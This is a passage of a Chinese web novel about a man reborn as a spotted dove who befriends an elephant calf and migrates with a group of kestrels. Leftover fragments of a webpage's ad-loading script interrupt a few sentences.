被点到的安澄立马挺起自己干燥后又变得毛茸茸的小胸脯,扭了个脑袋去看英恩。“太客气了太客气了,丧……呀……她也是我的朋友,朋友之间本来就是要互相帮助的。” “还是要感谢的,我们还是会记得你的恩情的……”英恩说着说着声音却逐渐变弱,最后竟然沉默着定定看了他好一会儿。 安澄一个激灵,顿时如芒刺在背,身上的绒羽都要在这样的目光下竖起来,不停担心自己是不是说错了什么话。 在他被看得有些受不了的时候,英恩终于再次开口,“安澄,既然呀呀不喜欢这个小名,那能不能麻烦你帮她取一个正式的名字,之前我们一直想给她最好的,所以拖延到现在也没取。” “啊?我?”安澄从丧彪的鼻子中挤出翅膀尖尖指向自己。 英恩笃定点鼻,“对,你。” “你……” “我……” “她……” 安澄的爪心都冒出了汗,看看英恩又看看丧彪。 但丧彪竟然对此没有展现出任何反对之意,反而还兴致勃勃。“好诶好诶好诶,新名字!!!” “好吧。” 安澄双翅抱头,苦思冥想、绞劲脑汁、搜肠刮肚。 终于,在容量不多的脑袋中找出了个还算不错的字。 “就,就……”他紧张地吞咽几下,“不如就英磐吧。” “这是什么意思ya……啊?”呀字说到一般,被丧彪紧急收回改正。 但英恩和丧彪都还是不约而同地投以疑惑的目光看向安澄。 安澄清了清嗓子,给她们科普道:“磐,它的本意是代指层层叠叠的巨石,后来也衍生出巨大、坚固的意思。 “丧……呀……她在暴雨当中、在狭小的红薯窖里坚持了那么久都没有放弃,背上还驮着一个人类,说明她是一只非常坚强有韧性的小象,所以我认为这个字非常符合。” “噢~”听了他的解释,丧彪的眼睛一点点地亮了起来,嘴角的弧度在很短的时间内就咧到了最大。“小大安澄你好厉害呀!我好喜欢这个字呀,好喜欢好喜欢好喜欢……” 兴奋的小象又开始原地转圈,耳朵一扇一扇的,鼻子和尾巴也跟着甩动起来,安澄趁此时机从象鼻逃离。 “好厉害的名字,比祖母她们取的好一千倍一万倍!!!” 这一次的她没有被自己给转圈到摔倒,然而听到她回答之后的英恩神色却变得黯然许多,耳朵紧贴、鼻子低垂。 莫名的,安澄在那张脸上看到了与丧彪截然不同的、饱经风霜与岁月的痕迹,由是心中生出了一些很淡却又无法忽视的酸涩。 英恩她们,其实是真的很爱丧彪的吧。 安澄眨了眨自己的眼睛,飞到丧彪耳边,压低着声音说:“丧彪,我有些话想跟你说。” 28. 顶流难藏怎么办? 丧彪疑惑地举起长鼻,又似乎是意识到他们要说些不能让别人听到的话,就卷着安澄悄悄地走到小角落处。 “说什么说什么?” 安澄清了清嗓子,挺起自己毛茸茸的小胸脯,双翅夹在身侧宛如背手。“那什么……其实我也有个小名。” “叫什么ya……叫什么?”丧彪微微掀起自己垂在脸侧的大耳朵。“让我听听,让我听听。” “她们都叫我小咕咕,”安澄从鸣管中发出几道咕咕咕的声音,“你听,因为我的叫声是这样的。” “哇——”丧彪的两只耳朵都兴奋地扑扇了几下,“真的诶,对呀,我以前怎么没发现呀?你在咕咕叫诶~” 本来也是一件非常平常的事情,但丧彪的语气实在充满了太多讶异、好奇和崇敬,让安澄都听得有些面热。 他故作矜持地用喙整理了一下身侧的羽毛,“虽然我本鸟非常英俊潇洒、风流倜傥、桀骜不驯、儒雅有礼、威武霸气,但对于这个和我气质略微有些不符合的可爱名字,我还是接受了。” 丧彪眨了几下眼睛,面上的表情似乎有些恍然大悟、又仿佛还带着些迷茫。 于是安澄便继续道:“其实我是想跟你说,你可以是英勇的英磐,也可以是可爱的呀呀,当然,你更可以是进军的丧彪,这些一点也不冲突。 “而且我知道,你不是不喜欢这个名字,你只是不希望自己是可可爱爱的,对不对?” 安澄以前最烦动不动就讲大道理的人,没想到有一天自己竟然也会变成这样。 某一瞬间他觉得自己或许变成了一个无趣的大人,但又会在下一时刻认为这些话可能都是值得说的。 “嗯……”丧彪的鼻子有些丧气地垂了下去,“因为大家只会在你不厉害的时候夸你可爱,可是不厉害的母象又怎么能够成为象群的首领呢?” 安澄可算是明白丧彪一直以来都在纠结什么了。 象群当中目前就只有她这一头未成年的小象,她没有办法和同龄象去比较,而身边又都是一群成年且富有经验的勇猛母象,自然而然地就会无法对自己有个准确的评价。 “不要否认任何一个自己,因为任何一个都是真实的你,”安澄闭着眼晃了晃自己圆乎乎的小脑袋,“如果觉得自己的某一面和自己想象中有差别就不去接受,那其实也不是一种勇敢哦!” “就好像我虽然知道自己聪明、英勇、刚健,但我其实也知道自己只是一只珠颈斑鸠而已,我就没有办法像丧彪一样从红薯窖里救下一个人类。” 虽然这是在十多个小时前被朱云深开导的结果。 很自然地,安澄在这个时候想起朱云深对他说的那句话,也非常自然地说了出来。“麻雀飞不过喜马拉雅山,草木躲不开风霜雨雪天。” 丧彪垂下去的鼻子又慢慢地举了起来,眨巴眨巴眼睛看着安澄,嘴巴无声地开合了几下,似乎是在重复他方才说的那句话。 安澄心里微微地泛起了一丢丢、一丝丝、一嗲嗲的酸。 死隼,抢他风头! 他刚刚说了那么多都没有打动象,现在不过是借用了他一句话,就让丧彪开始思考了。 他不服! 不过这些情绪不足为外象道,他扑腾了一下翅膀又继续说:“当然啦,如果你真的觉得这个是缺点,那也不必强求自己去接受,但你仍然要直面它而不是逃避,因为这样你才可以改变嘛,对不对?” “对诶……”似懂非懂的丧彪在他的诱哄之下点了点脑袋,有些恍惚着说:“小大安澄,你怎么会说这么大这么多的话呀?小鸟在天上叽叽喳喳的时候,就是在和同伴交流这些吗?” “你们可真厉害呀!” 安澄微微勾唇一笑。 开玩笑,他可是接受过九年义务教育与马工程教材熏陶的、考研政治荣获A区大旱地89分的新时代研究生。 虽然说得出不一定做得到,但跟一只没成年的小象讲大道理,那还不是轻轻松松、简简单单、易如反掌、信手拈来? 呵。 “哎,反正就大概是这些。”说了这么多,安澄自己也说不下去了,他蹦跳到丧彪的身边,伸出翅膀尖尖去碰了碰她的腿。“不管怎么样,丧彪在我心目中都是非常非常勇敢坚强的象,我也相信终有一天你可以成为你愿望当中的母象,我期待着、等待着、笃定着。” “真的吗?”丧彪的眼睛倏地一下被点亮,她卷起安澄送到脸颊边蹭了蹭,开心到耳朵一扇一扇、尾巴一甩一甩。“我全世界最最最喜欢你啦!” “嘿嘿~”享受了一下象爱的拥抱,安澄又迟来地切入到最重要的主题。“其实你的亲象也是这么想的,而且她们也比我更坚定地这么认为着。” 提到她们,丧彪又有些不开心,“才不会呢!” “那我们来比赛怎么样?”安澄抬头。 听到关键词,她的耳朵又掀了起来。“什么比赛?” “你去问问你的亲象是不是这样想的,如果不是,那就是你赢了;如果是,那就是我赢了。”安澄露出成竹在胸的自信一笑,“我赢了的话,那你要答应我以后再也不随便离群出走;你赢了我就跟着你一起出去建立族群,怎么样?” 十分笃信的丧彪当下就开始欢呼,“好诶!” 高喊几声后,她把安澄放下,急急忙忙地开始朝着方才还在生象气的族群跑去,迫不及待地要验收自己的“成功”。 看着她离开的背影,安澄成熟稳重地摇头轻叹一声,夹着翅膀慢悠悠地转身离去。 事了拂羽去,深藏功与名。 === 无所事事的安澄原本想找自己的好鸟友朱河唠唠嗑,哪知逛着逛着,就看到了一个拿着手机的四处拍摄的人。 咕? 有细作? 让他铁面无私鸟青天来看看到底是何人在此作祟! 他扑扇着翅膀快速地飞过去,粉红色的利爪泛着寒光。 “咕咕,咕咕咕!” 妖怪,我一眼就看出你不是好人! 飞到一半,就听那举着手机的人自言自语般不停地说:“对,野生的象群,十头成年的母象外加一头小象,我们猜测原本象群当中还有几头公象,但在不久之前离开了象群…… “……她们之前在更南的地方,早先有红外摄像机捕捉到过她们行动的轨迹,专家推测应该是要向北去繁衍…… “……亚洲象的大概要5-6年才会繁殖一次,没有固定的繁殖期,怀孕长达18个月-22个月,她们的寿命非常长…… “……这是非常难得的景象,代表了我们野生动物保护行动的……” 哦,原来是官家的人。 官人。 安澄若无其事地飞停到她的肩膀上、若无其事地偏头用喙梳理了一下自己的羽毛,又若无其事地用余光去打量手机的屏幕。 正在直播。 “哎呀,吓我一跳,原来是你啊。”女官人轻呼一声,面上带着笑。“跟大家介绍一下,这只珠颈斑鸠也参与到了这场人象救援当中,当时在场的还有七只红隼,都主动地跟着我们一起来到了这里。而更神奇的是,虽然珠颈斑鸠是红隼食物谱中的一员,但它们的关系都十分要好!” 哈? 介绍?他安大顶流还需介绍? 安澄咕咕地扇了几下翅膀,想当初他带着傻玄凤在盗猎者手中七进七出、毫羽无伤,又与朱云深M记薯条晚风论英雄。 谁不知道他的姓名?谁不瞻仰他的英姿? 果不其然,直播间很快就有观众认出了他,在弹幕上刷起了他在上一个城市的英勇往事以及奇妙偶遇。 流量带动流量、话题引发话题、热度催生热度,很快直播间的人数就突破了新高,更多人参与讨论到了此次的象群事件中。 一部分人高喊要去看事发当地、一部分人想要看聚集在一起的猛禽红隼,又有一部分人隔着手机想近距离观察大象。 女官人也意识到这次的流量不可多得,没有直接拒绝直播间网友的要求。 “红隼和大象还需要经过专业人员的检查确定身体状况,现在时间可能不太合适,大家可以先点点关注,后续官方号会持续跟进它们的动态的。”然后又立马话锋一转,“虽然小动物不能看,但我们可以带你们去看看事发的地方,同时也给大家做个警醒。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>要离开这里,安澄本来是预备留下的,可他突然又想起了什么,倔强地留在了女官人的肩上。 “小斑鸠,你要跟我一起走吗?不可以哦。” 斑鸠偏开头,斑鸠没听到。 “你的朋友们还在这里,下来吧?” 斑鸠再次偏开头,斑鸠听不懂。 弹幕纷纷喊着留下,安澄也倔强固执,女官人没办法,和中心商量了一番决定暂时带着安澄一起,到时候再送回来。 安澄一路上都十分乖巧,不乱飞、不乱跑,甚至还配合着女官人在直播间互动,堪称老天奶赏饭吃的顶流小鸟。 然而一下了车,他就开始执行自己的计划了——喙爪并用地扯着女官人的衣袖,把她往小女孩的家的方向拉。 以人类的力道当然可以反抗一只珠颈斑鸠的带动,但敏锐的广大网友以及心细的女官人都似乎看出了他在引路,十分纵容地往他引导的方向走。 不到十分钟,安澄就带着她连同她手中的手机一起,进入到了那个略微陈旧的院落里。 他十分熟稔地从窗户钻进去把门打开,宛若主人翁般请女官人以及直播间的观众一起进来。 “小斑鸠,你……”女官人哭笑不得,“小鸟也不可以私闯民宅哦!你这样是要被抓起来关在鸟监狱里面的,果子、谷子通通都没有吃!” 安澄心中着急,叼着她的衣服把她硬往里面拉,使尽了全身的鸟力。 女官人一时不查,竟然还真的被他带得往前走了几步。 看着手机拍到了室内的画面,安澄立刻进入状态,地带着观众一一看过这个家中的东西。 “咕咕,咕咕咕……” 先看房屋结构,单层薄墙不保温、电路老化不保险、防水未涂不隔雨、老瓦屋顶不防风。 后看布局摆设,床正对横梁之下容易给人压迫窒息之感,不好;窗户狭小往外斜开空气不流通,不好;灯泡垂挂在木质高衣橱之后昏暗又危险,不好。 再看用品设备,家电老旧破损,欠安!床榻狭窄乱晃,难眠!桌椅残肢腐坏,危险! 而最后,也是最最重要的一点! 安澄扑扇着翅膀怼到镜头上,愤怒地大喊几声:“咕咕,咕咕咕!” 在外打工不养老不养小,不肖子孙,快点寄钱! 国家对于低保户是有保障的,危房贫困户也会统一安排扶贫房,她们祖孙二人还住这样的房子就说明其实他们家庭一定有劳动力,而在角落里面也隐隐约约发现有张老旧的一家五口的合影——老人、小女孩,一对夫妻、一个更小的男孩。 但整个家都难以看到有成年人和男孩的生活痕迹,就说明他们三个长年在外地,并且大概率是在外务工。 一个老人与一个小孩根本就花不了多少钱,更何况还是在这样低消费的城市,但她们生活的环境如此糟糕,一件崭新的东西都没有,无疑代表着那夫妻二人根本没有怎么管顾过老家的女儿和母亲。 生而不养、老而不赡。 总结:不是好人!!! 安澄能发现的,直播间的观众自然也慢慢发现了。 “老人摔下红薯窖被未成年小象搭救,象群、鸟群与人群一齐救下被困的人和象”一事本来热度就被炒得很高,眼下古道热肠的网友看到老人与小孩竟然是这样的生活环境,自然开始讨论、讨伐起来,纷纷指责起不赡不养的成年人。 更有能者,已经开始商量筹钱帮助她们重建新屋了。 安澄看着满屏不停滚动的弹幕,以及面色明显动容的女官人,心中的最后一块大石也终于放下。 他相信在他们的促成下,女孩和老人未来会过上比现在好的生活的!!! 吐出一口浊气,他不自觉地回头再看了一眼昏暗的屋子。 建筑设计师也许再也拿不起手中的笔,但他仍然可以想尽办法促进破旧的住所变得焕然一新,倒也不算太遗憾。 不过他他又转念一想,其实房屋也好、筑巢也罢,最基础目的都只是为了能有一个安身立命、遮风挡雨之所,或许本来也没什么差别,他无需为此感怀。 人、象、鸟,生灵本就各有归处又同有共性。 29. 一起看夜景了怎么办? 分别的一天终究会到来,那点不算伤的伤疗养好后,一众鸟与象都出了院,他们在村与森林之间约定分开。 “小大安澄,你真的要走吗?”丧彪依依不舍的用鼻子卷住安澄的小爪子,没用什么力道,但也是很明显的不舍。“你真的不留下来陪我一起建立新的族群吗?我们一定会成为最好最好最好的伙伴的。” 别说他一只鸟和一头幼象闹在一起不太像话,就是他有这个心现在也没法儿答应啊。 朱云深等隼现在就站在他的身后,正隼视眈眈地盯着他,有些话可不能随便说,说了要进坏隼肚子的! 识时务鸟为俊杰。 “对不起呀,我真的没有办法留下来跟你一起。”他伸长脖子用圆乎乎的脑袋蹭了蹭丧彪的鼻子,“天下无不散之宴席,我们的目的地不一样终究会分开的,而且我本来也有自己的集群呀!” 虽然他加入这个集群也是赶斑鸠上架。 “当然,不管我在哪里,我们都是朋友,我也会一如既往地相信你、支持你的。而且以后有缘的话,我们没准还会再见面的。” “为了让那一日早点到来,我们都要加倍努力才行啊!” 有缘人自会相逢于山川湖海间,不必做过多的强求。 “好吧……”丧彪沮丧地将他放开,但鼻子还是留恋地碰了几下他的脑袋。“我一定会努力成为世界上最厉害的母象的,到那个时候你听到了你给我取的名字,就来找我,对好不好?” 安澄用力地点了点自己的脑袋。“我答应你!” 一边说,他一边用自己的喙贴了贴丧彪的鼻子。“盖戳。” “盖戳。”丧彪又用鼻子轻轻地卷了一下安澄。 这点离别前的话说完,一直沉默看着他们的英恩也在最后开了口。 “安澄,还有朱云深、朱海等大家,谢谢你们帮助了我们,以及帮助了英磐。”她高举自己的象鼻,发出一声穿透整片森林的嗥鸣,空谷传响,栖在树上的雀鸟被惊飞。“以后你们遇见了什么困难,都可以来这里寻找我们,不管是什么,我们一定竭力相助。 “象的记忆与象的传承,也会让我们祖祖辈辈都记得这次协力共进的时刻。 “祝你们一路平安,我的朋友们。” 象的记忆与象的传承。 安澄曾经听过有关于象的神话传说,听过她们与释迦牟尼的功德圆满、听过他们在上古时期与农耕文化千丝万缕的联系、听过她们不远千万里寻找栖息地的跋涉迁徙…… 就在这一瞬,他觉得自己离那些寄托了人们美好想象的传说故事近在咫尺,觉得自己仿佛也成为了厚重历史中落墨的一点。 很恍惚,也很神奇。 “也谢谢你们,”安澄夹着翅膀,对着英恩点了点脑袋。“祝你们族群繁荣。” 朱海、朱云深等隼也在她之后和英恩等象简单地说了几句。 而最后的话说尽,分别的时刻也真正到来。 离开之前,英恩忽然又开口道:“哦,对了,如果你们路过了一个叫做告庄的地方,不妨停下来歇歇,这两日没准能够看到难得一见的美景。” 说完,她就带领着象群往森与山谷之间走去。 丧彪拖拖延延地走在队伍最后面,长尾巴沮丧地垂在身后动也不动,举着长鼻不停地揉眼睛,一步三回头地看安澄。 安澄高抬翅膀朝她挥动,高声大喊着,“再见,再见——” 再见,朋友。 === 集群原先没有再在这里停留的打算,可谁知到夜晚,他们真的路过了英恩所说的告庄。 告庄内人声鼎沸,“星光夜市”几个字泛着光,街边店铺从喇叭中传出各色的叫卖声,不同风格的音乐一起奏响,摊位上特色的水果与食物吸引着游客去品尝,不算宽阔的道路中人头攒动互相推搡。 他们或穿着不同的服装、或来自不同的地方,但今夜又似乎都有着同样的目的——朝着背面的河岸而去。 众鸟你看我我看你,不约而同地想起了英恩分别之前说的那句话——或许能看到难得一见的美景。 “看美景!看美景!”朱河的性子最是爱凑热闹,朱海还什么都没说,他就张着长嘴筒子开始嗒吧嗒吧地吵。“嘎嘎嘎——我们去看美景,反正都在这里待了这么长时间了,也不欠这一晚上。” 安澄心中也有些动摇,长着喙超级小声地跟了几句。“美景!美景!” 哪知一转头就看见了朱云深的死亡视线,他一个激灵,迅速地转回自己的脑袋装作无事发生。 鸟生苦短,美景何辜? 没有情趣的臭隼,就算飞到了繁衍地肯定也追不到雌隼! 而那边的朱河见众隼没给出反应,又振翅飞到好基鸟安澄的身边找认同,把长喙和脑袋一个劲地往斑鸠身上挤。“安澄也很想去看对不对?不用装作不在意了,我知道你也很想去看,对不对对不对对不对……” “行了。”朱海适时地打断他的聒噪。 他深棕色的鸟眸在安澄、朱云深两鸟之间转动一番,莫名了悟般地点了点头,才继续开口道:“反正也已经入夜该到休息的时候了,我记得河的对岸是有树可以落脚,那今晚就去看看也行。” 朱海说得在理,其他隼当然也没什么意见。 “嘎嘎嘎——”朱河张狂地开始鸭叫,笑了一会儿,不聪明的隼脑袋又忽然咂摸出了一点别的味来,扇着翅膀挤到朱海的身边,“我为什么我说就不搭理我,一提到安澄大哥你就同意了,你是不是对他……嘎——” 他的话还没说完,脑袋就挨了朱海的一爪。 “别胡说,想看就快点飞过去。”一边说,朱海一边快速地瞥了眼朱云深,露出计划成的表情。 朱云深:…… 而悄无声息成为了话题中心的安澄什么也没发现、什么也没察觉到,他满心带着又有热闹可以凑的想法努力扇动翅膀,跟众隼一起顺着人流的方向飞动。 告庄后面有条河,河的对岸有排树,而此刻河的两岸都已经围满了人,隐约可见他们的手中拿着什么东西。 或许他们也在等待着观赏美景。 众鸟没有挤进人群凑热闹的意思,他们径直往河的对岸飞去,又找了棵离人群较远的高树落下。 安澄一以贯之地栖在朱云深的身边,寻了个最佳的角度舒舒服服地窝在了树干上。 只是安静了没几秒,他就又闲不下开始找朱云深搭话。“大人,你们以前来的时候没有看到过英恩首领说的美景吗?” “我是第一次迁徙。” “是哦!我都忘记了。”安澄砸吧砸吧几下喙,突然从朱云深的话中找出了盲点。 他倏地站起来,往朱云深的方向悄悄地挪动了几厘米,压着声音问:“那大人,所以你到现在还是单身隼咯?还没有找过伴侣咯?” 怪不得总是一副臭脸,原来是没有被鸟爱过的母蛋单身隼。 嘎嘎嘎—— “怎么,你有过?”朱云深觑了安澄一眼,“比起雏鸟是否聪明,你们珠颈斑鸠的雌性更在意巢穴的舒适度?” “没有吧……” 毕竟如果真的在乎巢穴的舒适度,珠颈斑鸠也不会做出用三根 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 树枝搭窝这样的事情出来。 但刚刚回答完,安澄就意识到了不对劲。 朱云深这哪里是在问珠颈斑鸠的习性,这是在暗讽他英勇聪慧、钟灵毓秀、才华横溢的安澄不聪明! 他借着昏黑的夜色怒瞪了隼一眼,把脑袋插进羽毛里低声地狠骂一句,“只有笨蛋才会总骂人笨蛋。” “你说什么?” “没,没有!”安澄正直地挺起自己毛茸茸的小胸脯,“我在说大人您英俊潇洒、风流倜傥、仪表堂堂、威风凛凛、才貌双全一定能够找到一个举世无双、出得厅堂下得厨房、筑得了巢暖得了床的伴侣的。” 朱云深没搭话,目光幽深地盯着他看了一会儿,最后又沉默地将头转正看向身前映着河岸霓虹的河。 安澄不知道这突然的沉默是为哪般,他讪讪地闭喙。 正想重新拉开距离窝回方才的地方时,朱云深又突然开口。“所以你找过伴侣?” “没有啊。”安澄眨了眨眼睛,不知道这隼是怎么得出的这个结论。“我也是母蛋单身鸟。” 别说做鸟了,做人的时候他也没谈过恋爱。 早二十多年寒窗苦读只想着考个好学校、得个好成绩,本科和研究生时期也不敢松懈,唯恐学不到知识出社会之后无法安身立命,等他突然领悟到校园恋爱的美好时,漫长的学生生涯就结束了。 当了社畜之后整日奔波劳碌,社交圈就只限定于工作圈,哪里还有什么时间找对象。 而好不容易稳定了些,产生了一点点想法,结果一觉睡醒就变成了鸟。 堪称跌宕起伏、总在错过的一生。 就在他深陷回忆之际,朱云深突然喊了一声他的名字。 “安澄。” “啊?”他回过神,就又听见朱云深说:“转头。” 安澄听话地转头。 就在下一秒,他便看见了徐徐升空的万千明灯。 如萤火、如星芒、如灼灼燃烧的炙热的心脏,将热闹拥挤的城市照亮、将奔涌不息的澜沧江照亮、将喑哑浓墨的夜空也照亮。 他仿佛看见了每一个放飞孔明灯、期待仰天的人的脸,看见了他们朴素的期待和热枕的心。 安澄在这样的风光中晃了神,直到一团明亮的光突兀地出现在近处,他才重新有了动作。 他顺着光看去,发现是一个孔明灯卡在了身旁的树杈上。 思考了一会儿,安澄顺着走过去用爪子轻推灯身,可试了好几下,还是没能成功地把它给解救出来。 “大人……”不知道为什么,他竟然向朱云深求了助。 朱云深这次没冷眼旁观,他振翅悬停在灯的下方,双爪抓着骨架一用力就将它从树杈之间拉了出去。 不过他没立刻放开,而是看着安澄问:“给你一个许愿的机会,你要许什么?” “啊?”安澄愣了一下,不过还是顺着朱云深的话思考了起来。 好一会儿,他才开口道:“希望海晏河清、盛世太平,善良的人与动物能够和谐自如地生活。” 顿了顿,他又做补充。 “再希望大人你能够得偿所愿、万事顺遂吧!” 朱云深沉默了几秒,而后低嗯一声将爪中的灯放开,任它重向深空而去。 “那大人你呢?你有什么愿望?”安澄看着那灯,不自觉地问出了声。 “不知道。”朱云深收回落在灯上的视线,转而看向安澄,谁知安澄也恰好在这一秒看向他。 两鸟对视了一会儿,朱云深莫名又为自己的回答补了后半句。“希望你愿望成真吧。” 30.被鸳鸯嘲笑了怎么办? 斑鸠箴言:不要随便地感动,特别当对象还是一只禽兽的时候。 因着放飞孔明灯的那句话,安澄感动了好一段时间,醒时彩虹屁、睡时道晚安;日日都恭维、夜夜都赞美,哪里知道朱云深此等无情无义、冷漠薄情的隼变本加厉地驱使起他来,还总喜欢暗戳戳地用一种奇怪的眼神盯着他看。 那是在打量食物的眼神吧? 是吧?是吧? 一定是吧?! 而他也在好一段时间之后才反应过来,既然他许的愿望中有“希望朱云深能够得偿所愿、万事顺遂”这个内容,那朱云深祝他愿望成真,不就相当于在祝愿他自己吗?! 这个狡猾、深沉、阴暗、诡计多端的禽兽!!! 他岂敢,岂敢用文字游戏来戏耍他安澄的一片赤子之心? 于是斑鸠郑重决定! 从此以后要冷脸恭维隼,再也不会真心实意、真情实感,他要让朱云深只能感受冷冰冰的言语,从此再不能深切地体会到他热诚的情感。 后悔去吧,渣隼!!! === 总之,日子就在安澄的埋怨、愤恨之中一天天过去,迁徙之路也渐飞渐远。 不得不说,朱海是个好的向导。 明明只是经历过一次迁徙,但他就已经将这条数千公里的路给深埋进了记忆中,而迁徙途中他还会预判天气,再结合风速、温度与环境给他们制定最好的进行计划,除了每日赶路疲惫了些之外,安澄跟着他们几乎没受什么苦。 因此他们很快飞过了空气稀薄的高原,抵达素有“天府之国”之称的盆地。 又是不一样的风光与气候。 这里拥有在整个中华都堪称肥沃的自然土壤,养育了数不清的动植物,中亚热带湿润性气候让周围的环境变得温暖湿润,植被的种类也较之几日前发生了明显的变化,安澄甚至能够看见香果树、珙桐等珍惜的植株,还有不少的植物都是这块盆地上的特有种。 这让他一个对于植物了解只是半吊子的鸟都看得啧啧称奇。 但让安澄开始兴奋、振奋、激动的并不是这些。 在这片神秘肥沃的土地上,有着一种在白墙背景上拍不出彩色照片的哺乳类动物,它们是生物界极端政治正确的存在,既黑也白、既食素也食肉、既熊又猫,且雌雄难辨,叠满了堪称任何组织看来都正确的buff。[1] 几乎没有任何人能够抵挡住它们的魅力——安澄曾经对这句话不以为意,直到他在动物园盯着这群露馅的黑芝麻汤圆吃竹子长达三个小时之久。 此后,他将这句话奉为箴言。 可人生遗憾就是只能隔着玻璃窗或者栅栏去远距离的观察它们,连他们毛是什么触感的、拉出的粑粑到底是不是竹叶清香的都不知道。 不过人生遗憾鸟生补,这次,他安澄一定不会再错过!!! 不过这片盆地率先迎接他们的并不是他心心念念的熊猫,而是同准备往北迁徙的鸳鸯。 正午温度高,他们聚集在水塘之中,一眼望去几乎都是两两成双。 鸳鸯雌雄异色,雄性愿望羽冠颜色艳丽、头顶至颈后两边的羽毛呈现纯净的白,三级飞羽是鲜亮的栗黄色,乍一眼望去,像是蒙德里安的色块拼接作品;雌性个体便没有这么张扬,她们通身的羽毛大致为绿棕色,隐约可见上面淡色的斑斑点点。 实际上雄性鸳鸯并不总是如此色彩艳丽,在雏鸟出巢之后,他们会进行一次换羽,亮丽的羽毛变成更暗淡的蚀羽。 这样的高热,不仅鸳鸯要休息、隼也要休息。 在朱海的指令之下,一众隼也暂停了赶路,聚在水塘边饮水降温、稍作整理。 隼与鸳鸯两方互看了几眼,但彼此都没多大的反应,继续各干各事。 饮水的时候不宜互相打扰——这是一条默认的规矩。 安澄站在岸边,双爪紧紧地抓着草根,而后整个脑袋泡入水中咕噜咕噜地开始喝水。 “咕咕,咕咕咕——” 自然山泉,有点甜。 他不是鉴水师,他只是大自然的饮水客! 把快要被高温烤熟的脑袋降了降温,又止了渴,安澄撑着身体将自己从水里拔出来。 然而甫一站直,就看见一对鸳鸯在离他不到一米远的水中自在地游着,两鸟靠得极近,不时还会脑袋相抵、脖颈相交,喙一张一合之间似乎在窃窃私语着什么。 嚯,谈恋爱呢,这是。 这还是他第一次这么近距离地看到鸟类谈情说爱,不免视线多停留了一会儿。 越观察,越觉得这雄性鸳鸯长得跟假的一样。 怎么会有鸟长得这么奇怪呢?该不会还有一种鸟脖子上带着珍珠项链吧? “别惹事。”朱云深的声音蓦地在身边响起。 “咕……”安澄被吓了一大跳,猛地往后退了几步,好险叫出了声。 他心有余悸地看着朱云深,而隼已经若无其事地开始饮水梳羽了。 本想气势汹汹地离开,留给朱云深一个冷酷无情的背影,但看着水面浮着的一对鸟,他又双没忍住凑上去和朱云深搭了话。 “大人,你知道鸳鸯吗?” 朱云深没说话,盯着不远处的那对鸟看了几秒,而后又用一种怀疑的眼神看向安澄。 安澄对那看傻鸟一样的眼神习以为常,早能做到视若无睹,便继续问:“那你听说过一句话,叫做‘只羡鸳鸯不羡仙’吗?” “你想说什么?”朱云深终于开口。 “不是,我就是有点好奇,没见过嘛……”安澄看了看那鸳鸯,往隼的方向走近了些,压着声音说:“听说他们十分忠贞,一辈子都只会有一个伴侣,真的还是假的啊?” 朱云深的表情突然变了变,他好整以暇地偏头梳理翅膀上的羽毛,反问道:“你觉得是真的还是假的?” “真的吧……”安澄偏头回忆了一会儿,他从小到大学过不少关于鸳鸯的诗句,这鸟俨然已经成为了至真至纯之爱的符号。 古诗里的还能有假? 想着那些美好的描写,他的心中不免也生了些感触,“我以后找伴侣的话,就要像鸳鸯一样,这……” “袁大水,你给老娘滚出来!” 话还没说完,安澄就听见水塘之中传出一声怒吼。 他被吓得猛地往后退了几步,不过几秒,就看见拐弯处游出了另一只雌性鸳鸯。 “跟我求偶成功之后竟然还找别的雌性求偶?” 那雌鸳鸯径直朝着雄鸳鸯游去,“要不是因为你羽毛的颜色鲜艳,这次我会选择你?你竟然还敢做出这样的事情来,真把自己当个鹰了?” 而原先还和这雄鸳鸯缠绵的雌鸳鸯,听到这话也立刻意识到了不对劲,倏地和他拉开距离。 “你他爹的已经找到伴侣了?好呀好呀,你竟然敢骗我!” 两雌性隔空对了一个眼神,而后默契地朝着那雄性冲去。 “你们要干什么?你们别冲动,有话可以好好说……啊啊啊——” 鸳鸯属于小型鸭类,喙并不像一些猛禽般尖利,但两个雌性放在一起的攻击性也不是盖的,她们配合这下,不过一会儿这雄鸳鸯身上色彩鲜艳的羽毛就被拔下好几根。 但他嘴上还在不停地为自己开解,“反正都还没产蛋,我多求一个怎么了?谁先怀上蛋我今年陪谁呗,明年再换另外一个不就行了? “你们还不是年年都换伴侣,干嘛要来说我?” 两雌性被他这话 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 弄得怒不可遏,攻击力越发强悍,几乎把雄鸳鸯摁在水里面打,他身上的彩羽也被拔得七七八八。 那雄鸳鸯自知不敌,也不敢再恋战,找了个机会涡轮增鸭般飞速地逃离了现场。 雌鸳鸯没有选择追,她们不约而同地长舒一口气,接着开始整理身上因为打斗而弄乱的羽毛,嘴上还念念有词地骂着那袁大水。 继俩鸟谈恋爱之后,安澄又亲眼见证了一场因情而生的斗争,可谓满腹都是瓜,津津有味。 可吃着吃着,又觉得不对劲。 这鸳鸯怎么和书里写得不太一样啊…… 还没等他想通,又倏地听见其中一只雌鸳鸯在就近处开了口。“好丑的鸟。” 安澄原以为是在说自己,转着视线看过去,却发现那雌鸳鸯是看着朱云深说出的这句话。 他一下就激动了起来。 “什么?什么?什么!!!” 奴性入骨的安澄怎能允许旁鸟如此诽谤他的顶头大Boss? 对BOSS的不屑,就是对他这个鸟腿子的侮辱、蔑视、看轻。 他不允许! 安澄张开双翅,将站在一旁的朱云深上下圈住,“你仔细看看,摸着你的良心再说一遍,这丑吗?丑吗?丑吗?” “丑。” 安澄两眼一闭、双爪一蹬险些过去。 “我们大人可是十里八乡的俊后生,你看这鲜艳的砖红色羽毛,红红火火、红星高照;你看这黝黑的双眸,黑白分明、涅而不缁;你看这强有力的双爪,削铁如泥、新发于硎;你再看这尖锐的利喙,锋芒逼人、锐不可当。” “流线型身材尤为性感、明黄色利爪更显刚强、灰蓝色脑羽智慧聪颖、蜡黄色喙基最为吸睛。”他用翅膀尖尖戳了一下朱云深身侧的羽毛,又逐渐顺着下去,一边滑动一边介绍。“翼翅有力、飞行好利器;腹羽蓬松、暖窝好伴侣;尾羽宽厚、乘风好用具。 “而且!也是最最最重要的一点,我们家大人捕猎能力强大、战斗技巧高超、人文学识渊博。 